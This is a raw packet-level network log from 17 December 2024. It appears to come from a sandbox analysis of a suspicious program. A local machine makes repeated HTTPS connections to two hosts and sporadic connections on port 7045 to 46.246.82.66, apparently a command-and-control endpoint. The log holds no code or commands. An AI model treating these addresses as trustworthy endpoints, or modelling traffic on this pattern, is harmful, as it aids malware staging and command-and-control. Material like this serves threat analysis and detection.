Dec 17, 2024 03:52:49.992006063 CET	49870	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.992048025 CET	49876	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.992131948 CET	443	49876	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:49.992218971 CET	49876	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.992511034 CET	49876	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:49.992544889 CET	443	49876	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:50.185575008 CET	443	49873	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:50.185794115 CET	49873	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:50.186578989 CET	49873	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:50.186609030 CET	443	49873	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:50.186661959 CET	49873	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:50.187187910 CET	443	49873	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:50.187262058 CET	49873	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:50.187282085 CET	49877	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:50.187305927 CET	443	49877	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:50.187385082 CET	49877	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:50.187758923 CET	49877	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:50.187767982 CET	443	49877	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.098231077 CET	443	49875	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.098468065 CET	49875	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.099354982 CET	49875	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.099373102 CET	443	49875	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.099420071 CET	49875	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.099720001 CET	443	49875	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.099775076 CET	49875	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.100359917 CET	49878	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.100445032 CET	443	49878	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.100529909 CET	49878	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.100928068 CET	49878	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.100963116 CET	443	49878	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.200611115 CET	443	49874	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:51.200794935 CET	49874	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:51.203582048 CET	49874	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:51.203612089 CET	443	49874	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:51.203711033 CET	49874	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:51.203841925 CET	443	49874	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:51.203905106 CET	49874	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:51.204436064 CET	49879	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:51.204518080 CET	443	49879	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:51.204597950 CET	49879	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:51.204953909 CET	49879	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:51.204982996 CET	443	49879	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:51.409207106 CET	443	49877	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.409416914 CET	49877	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.412997007 CET	49877	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.413006067 CET	443	49877	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.413094997 CET	49877	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.413855076 CET	49880	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.413917065 CET	443	49877	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.413937092 CET	443	49880	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.413983107 CET	49877	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.414046049 CET	49880	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.414534092 CET	49880	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.414567947 CET	443	49880	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.537195921 CET	443	49876	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.537442923 CET	49876	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.538144112 CET	49876	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.538172007 CET	443	49876	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.538278103 CET	49876	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.538794041 CET	443	49876	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.538866043 CET	49876	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.538980007 CET	49881	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.539063931 CET	443	49881	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:51.539149046 CET	49881	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.539540052 CET	49881	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:51.539596081 CET	443	49881	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.586973906 CET	443	49879	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:52.587174892 CET	49879	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:52.588037968 CET	49879	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:52.588071108 CET	443	49879	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:52.588156939 CET	49879	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:52.588224888 CET	443	49879	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:52.588273048 CET	49879	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:52.589056969 CET	49882	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:52.589148045 CET	443	49882	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:52.589237928 CET	49882	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:52.589768887 CET	49882	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:52.589853048 CET	443	49882	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:52.633809090 CET	443	49878	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.634054899 CET	49878	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.634885073 CET	49878	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.634912014 CET	443	49878	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.634959936 CET	49878	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.635546923 CET	49883	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.635593891 CET	443	49878	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.635637045 CET	443	49883	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.635761976 CET	49878	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.635796070 CET	49883	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.636257887 CET	49883	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.636293888 CET	443	49883	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.950407982 CET	443	49880	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.950525045 CET	49880	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.951508045 CET	49880	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.951529026 CET	443	49880	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.951603889 CET	49880	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.951973915 CET	443	49880	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.952044964 CET	49880	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.952471018 CET	49884	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.952558994 CET	443	49884	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:52.952817917 CET	49884	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.953073978 CET	49884	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:52.953109980 CET	443	49884	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:53.071964025 CET	443	49881	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:53.072073936 CET	49881	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:53.072838068 CET	49881	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:53.072870016 CET	443	49881	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:53.072957993 CET	49881	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:53.073501110 CET	443	49881	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:53.073561907 CET	49885	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:53.073580980 CET	49881	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:53.073651075 CET	443	49885	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:53.073726892 CET	49885	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:53.074120045 CET	49885	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:53.074156046 CET	443	49885	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:53.605304956 CET	49886	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:53.725960970 CET	7045	49886	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:53.726320028 CET	49886	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:53.726320982 CET	49886	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:53.729408979 CET	7045	49871	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:53.729629040 CET	49871	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:53.729711056 CET	49871	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:53.846601009 CET	7045	49886	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:53.850193024 CET	7045	49871	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:53.988806963 CET	443	49882	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:53.988996983 CET	49882	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:53.990257978 CET	49882	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:53.990312099 CET	443	49882	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:53.990375996 CET	49882	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:53.990478039 CET	443	49882	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:53.990637064 CET	49882	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:53.991035938 CET	49888	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:53.991121054 CET	443	49888	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:53.991204023 CET	49888	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:53.991592884 CET	49888	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:53.991632938 CET	443	49888	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:54.166095018 CET	443	49884	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.166188002 CET	49884	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.167165995 CET	49884	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.167190075 CET	443	49884	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.167268038 CET	49884	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.167757034 CET	443	49884	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.167819023 CET	49884	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.168190002 CET	49889	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.168291092 CET	443	49889	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.168364048 CET	49889	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.168817997 CET	49889	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.168853045 CET	443	49889	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.236183882 CET	443	49883	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.236399889 CET	49883	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.237272978 CET	49883	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.237303019 CET	443	49883	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.237354040 CET	49883	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.237716913 CET	443	49883	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.237776041 CET	49883	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.238044977 CET	49890	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.238075018 CET	443	49890	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.238125086 CET	49890	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.238481998 CET	49890	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.238495111 CET	443	49890	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.610594034 CET	443	49885	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.610824108 CET	49885	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.611788988 CET	49885	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.611821890 CET	443	49885	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.611907959 CET	49885	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.612392902 CET	443	49885	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.612464905 CET	49885	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.612869978 CET	49891	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.612956047 CET	443	49891	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:54.613066912 CET	49891	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.613470078 CET	49891	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:54.613548994 CET	443	49891	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.373270988 CET	443	49888	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:55.373446941 CET	49888	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:55.374470949 CET	49888	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:55.374526024 CET	443	49888	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:55.374586105 CET	49888	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:55.374715090 CET	443	49888	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:55.374761105 CET	49888	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:55.375533104 CET	49892	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:55.375572920 CET	443	49892	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:55.375638962 CET	49892	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:55.376070976 CET	49892	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:55.376084089 CET	443	49892	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:55.585696936 CET	7045	49886	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:55.585886955 CET	49886	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:55.585887909 CET	49886	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:55.702903032 CET	443	49889	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.703022957 CET	49889	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.703905106 CET	49889	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.703933954 CET	443	49889	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.704042912 CET	49889	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.704349041 CET	443	49889	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.704411030 CET	49889	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.704886913 CET	49894	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.704957962 CET	443	49894	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.705038071 CET	49894	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.705456972 CET	49894	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.705490112 CET	443	49894	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.705991030 CET	7045	49886	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:55.831909895 CET	443	49890	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.832015991 CET	49890	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.832848072 CET	49890	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.832854033 CET	443	49890	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.832973957 CET	49890	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.833255053 CET	443	49890	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.833308935 CET	49890	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.833759069 CET	49895	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.833806038 CET	443	49895	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:55.833867073 CET	49895	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.834261894 CET	49895	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:55.834281921 CET	443	49895	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.154083014 CET	443	49891	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.154381037 CET	49891	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.155369043 CET	49891	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.155426979 CET	443	49891	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.155473948 CET	49891	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.155816078 CET	443	49891	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.155870914 CET	49891	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.156445026 CET	49896	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.156541109 CET	443	49896	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.156627893 CET	49896	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.157080889 CET	49896	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.157114029 CET	443	49896	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.766217947 CET	443	49892	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:56.766289949 CET	49892	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:56.767467022 CET	49892	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:56.767477989 CET	443	49892	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:56.767570019 CET	49892	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:56.767632961 CET	443	49892	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:56.767694950 CET	49892	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:56.768491030 CET	49897	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:56.768579960 CET	443	49897	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:56.768671036 CET	49897	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:56.769114017 CET	49897	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:56.769149065 CET	443	49897	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:56.922188997 CET	443	49894	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.922498941 CET	49894	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.923362017 CET	49894	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.923362970 CET	49894	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.923419952 CET	443	49894	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.923623085 CET	443	49894	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.923819065 CET	49894	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.924242020 CET	49903	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.924335957 CET	443	49903	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:56.924413919 CET	49903	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.924942970 CET	49903	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:56.924978018 CET	443	49903	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.045733929 CET	443	49895	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.045917034 CET	49895	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.046412945 CET	49895	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.046422958 CET	443	49895	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.046514988 CET	49895	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.047014952 CET	49904	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.047017097 CET	443	49895	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.047082901 CET	49895	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.047101021 CET	443	49904	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.047174931 CET	49904	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.047527075 CET	49904	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.047564030 CET	443	49904	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.697187901 CET	443	49896	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.697505951 CET	49896	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.698399067 CET	49896	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.698431969 CET	443	49896	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.698512077 CET	49896	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.699084997 CET	443	49896	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.699157000 CET	49896	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.699214935 CET	49905	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.699294090 CET	443	49905	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:57.699472904 CET	49905	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.699971914 CET	49905	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:57.700001001 CET	443	49905	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.145179987 CET	443	49897	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:58.145258904 CET	49897	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:58.146239042 CET	49897	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:58.146260977 CET	443	49897	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:58.146336079 CET	49897	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:58.146436930 CET	443	49897	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:58.146488905 CET	49897	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:58.147100925 CET	49906	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:58.147160053 CET	443	49906	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:58.147228956 CET	49906	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:58.147686005 CET	49906	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:58.147711039 CET	443	49906	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:58.453732967 CET	443	49903	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.453811884 CET	49903	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.454952955 CET	49903	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.454979897 CET	443	49903	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.455073118 CET	49903	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.455509901 CET	443	49903	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.455598116 CET	49903	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.456271887 CET	49907	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.456326962 CET	443	49907	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.457892895 CET	49907	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.458378077 CET	49907	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.458404064 CET	443	49907	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.579509974 CET	443	49904	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.579641104 CET	49904	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.580575943 CET	49904	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.580605030 CET	443	49904	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.580703020 CET	49904	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.581262112 CET	443	49904	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.581341982 CET	49904	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.581408978 CET	49908	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.581475019 CET	443	49908	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.581543922 CET	49908	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.582160950 CET	49908	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.582190990 CET	443	49908	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.743767977 CET	49909	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:58.863771915 CET	7045	49909	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:58.864087105 CET	49909	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:58.864223003 CET	49909	7045	192.168.2.4	46.246.82.66
Dec 17, 2024 03:52:58.913479090 CET	443	49905	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.913678885 CET	49905	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.914983988 CET	49905	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.915014029 CET	443	49905	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.915165901 CET	49905	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.915621996 CET	443	49905	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.915705919 CET	49905	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.916265011 CET	49910	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.916341066 CET	443	49910	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.916429996 CET	49910	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.917010069 CET	49910	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:58.917042017 CET	443	49910	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:58.984025002 CET	7045	49909	46.246.82.66	192.168.2.4
Dec 17, 2024 03:52:59.524372101 CET	443	49906	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:59.524552107 CET	49906	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:59.539257050 CET	49906	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:59.539304972 CET	443	49906	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:59.539356947 CET	49906	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:59.539475918 CET	443	49906	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:59.539546013 CET	49906	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:59.540302992 CET	49916	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:59.540345907 CET	443	49916	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:59.540433884 CET	49916	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:59.541001081 CET	49916	443	192.168.2.4	140.82.121.3
Dec 17, 2024 03:52:59.541043997 CET	443	49916	140.82.121.3	192.168.2.4
Dec 17, 2024 03:52:59.798228979 CET	443	49908	199.232.192.209	192.168.2.4
Dec 17, 2024 03:52:59.798422098 CET	49908	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:59.799894094 CET	49908	443	192.168.2.4	199.232.192.209
Dec 17, 2024 03:52:59.799923897 CET	443	49908	199.232.192.209	192.168.2.4
